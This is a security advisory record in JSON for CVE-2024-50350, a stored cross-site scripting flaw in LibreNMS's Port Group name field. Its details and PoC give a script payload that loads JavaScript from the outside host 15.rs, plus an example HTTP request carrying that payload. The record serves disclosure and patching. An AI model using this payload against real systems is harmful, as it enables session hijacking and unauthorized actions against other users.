{"id":"CVE-2024-50350","aliases":["GHSA-xh4g-c9p6-5jxg"],"url":"https://o3.security/vulnerability/CVE-2024-50350","summary":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php","details":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"name\" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the \"Port Settings\" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.\n\n### Details\nWhen creating a new \"Port Group,\" an attacker can inject the following XSS payload into the \"name\" parameter:\n```<script/src=//15.rs></script>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the affected Port Group is added to a device and the \"Port Settings\" page is reloaded. The vulnerability is due to insufficient sanitization of the \"name\" parameter. The sink responsible for this issue is:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69\n\n### PoC\n1. Create a new Port Group using the following payload in the \"name\" parameter:\n```name<script/src=//15.rs></script>```\n2. Add the Port Group to a device's port settings.\n3. Reload the \"Port Settings\" page.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /port-groups HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded\nCookie: <your_cookie>\n\n_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Port Settings\" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.","published":"2024-11-15T15:30:14.935Z","modified":"2026-08-12T03:51:39.188976360Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"24.10.0"}],"fix":{"url":"https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0","label":"librenms/librenms@82a744b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/50xxx/CVE-2024-50350.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-xh4g-c9p6-5jxg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-50350"},{"type":"FIX","url":"https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.188976360Z"}}